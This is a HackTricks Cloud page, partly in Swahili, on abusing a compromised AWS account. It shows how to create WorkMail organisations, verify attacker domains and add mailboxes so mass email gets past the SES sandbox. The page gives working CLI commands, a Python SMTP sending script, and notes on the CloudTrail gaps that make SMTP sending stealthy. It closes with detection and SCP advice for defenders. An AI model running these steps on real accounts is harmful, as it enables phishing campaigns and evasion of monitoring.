AWS - WorkMail Post Exploitation

Tip

Jifunze na ufanye mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na ufanye mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na ufanye mazoezi ya Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Saidia HackTricks

Abusing WorkMail to bypass SES sandbox

Even if SES is stuck in the sandbox (verified-recipient only, ~200 msgs/24h, 1 msg/s), WorkMail haina vikwazo vinavyofanana. Mshambuliaji mwenye long-term keys anaweza kuanzisha miundombinu ya barua ya muda na kuanza kutuma mara moja:

  1. Create a WorkMail org (region-scoped)
aws workmail create-organization --region us-east-1 --alias temp-mail --directory-id <dir-id-if-reusing>
  1. Verify attacker-controlled domains (WorkMail invokes SES APIs as workmail.amazonaws.com):
aws ses verify-domain-identity --domain attacker-domain.com
aws ses verify-domain-dkim --domain attacker-domain.com
  1. Provision mailbox users and register them:
aws workmail create-user --organization-id <org-id> --name marketing --display-name "Marketing"
aws workmail register-to-work-mail --organization-id <org-id> --entity-id <user-id> --email marketing@attacker-domain.com

Notes:

  • Default recipient cap documented by AWS: 100,000 external recipients/day per org (aggregated across users).
  • Domain verification activity itaonekana katika CloudTrail chini ya SES lakini na invokedBy: workmail.<region>.amazonaws.com, hivyo matukio ya uthibitisho ya SES yanaweza kuwa yanahusiana na usanidi wa WorkMail badala ya kampeni za SES.
  • Watumiaji wa sanduku la WorkMail wanakuwa sehemu ya application-layer persistence huru kutoka kwa IAM users.

Sending paths & telemetry gaps

Web client (WorkMail UI)

  • Inarekodiwa kama matukio ya ses:SendRawEmail katika CloudTrail.
  • userIdentity.type = AWSService, invokedBy/sourceIPAddress/userAgent = workmail.<region>.amazonaws.com, kwa hivyo true client IP imefichwa.
  • requestParameters bado leak sender (source, fromArn, sourceArn, configuration set) ili kuunganisha na domain/sanduku la barua zilizothibitishwa hivi karibuni.

SMTP (stealthiest)

  • Endpoint: smtp.mail.<region>.awsapps.com:465 (SMTP over SSL) kwa kutumia password ya sanduku la barua.
  • No CloudTrail data events zinazozalishwa kwa ajili ya SMTP delivery, hata pale SES data events zikiwa zimewezeshwa.
  • Pointi za utambuzi muhimu ni provisioning ya org/domain/user na SES identity ARNs zinazotajwa katika matukio ya SendRawEmail yaliyotumwa kupitia web baadaye.
Example SMTP send via WorkMail ```python import smtplib from email.message import EmailMessage

SMTP_SERVER = “smtp.mail.us-east-1.awsapps.com” SMTP_PORT = 465 EMAIL_ADDRESS = “marketing@attacker-domain.com” EMAIL_PASSWORD = “SuperSecretPassword!”

target = “victim@example.com” # can be unverified/external msg = EmailMessage() msg[“Subject”] = “WorkMail SMTP” msg[“From”] = EMAIL_ADDRESS msg[“To”] = target msg.set_content(“Delivered via WorkMail SMTP”)

with smtplib.SMTP_SSL(SMTP_SERVER, SMTP_PORT) as smtp: smtp.login(EMAIL_ADDRESS, EMAIL_PASSWORD) smtp.send_message(msg)

</details>

## Mambo ya kugundua

- Ikiwa WorkMail haifai, zuia kwa kutumia **SCPs** (`workmail:*` deny) katika ngazi ya shirika.
- Weka tahadhari wakati wa provisioning: `workmail:CreateOrganization`, `workmail:CreateUser`, `workmail:RegisterToWorkMail`, na uthibitisho wa SES na `invokedBy=workmail.amazonaws.com` (`ses:VerifyDomainIdentity`, `ses:VerifyDomainDkim`).
- Angalia matukio yasiyo ya kawaida ya **`ses:SendRawEmail`** ambapo identity ARNs zinarejelea domains mpya na IP/UA ya chanzo ni sawa na `workmail.<region>.amazonaws.com`.

## Marejeo

- [Threat Actors Using AWS WorkMail in Phishing Campaigns](https://www.rapid7.com/blog/post/dr-threat-actors-aws-workmail-phishing-campaigns)
- [AWS WorkMail limits](https://docs.aws.amazon.com/workmail/latest/adminguide/limits.html)

> [!TIP]
> Jifunze na ufanye mazoezi ya AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Jifunze na ufanye mazoezi ya GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Jifunze na ufanye mazoezi ya Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Saidia HackTricks</summary>
>
> - Angalia the [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Jiunge na** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) au the [**telegram group**](https://t.me/peass) au **utufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Shiriki hacking tricks kwa kutuma PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>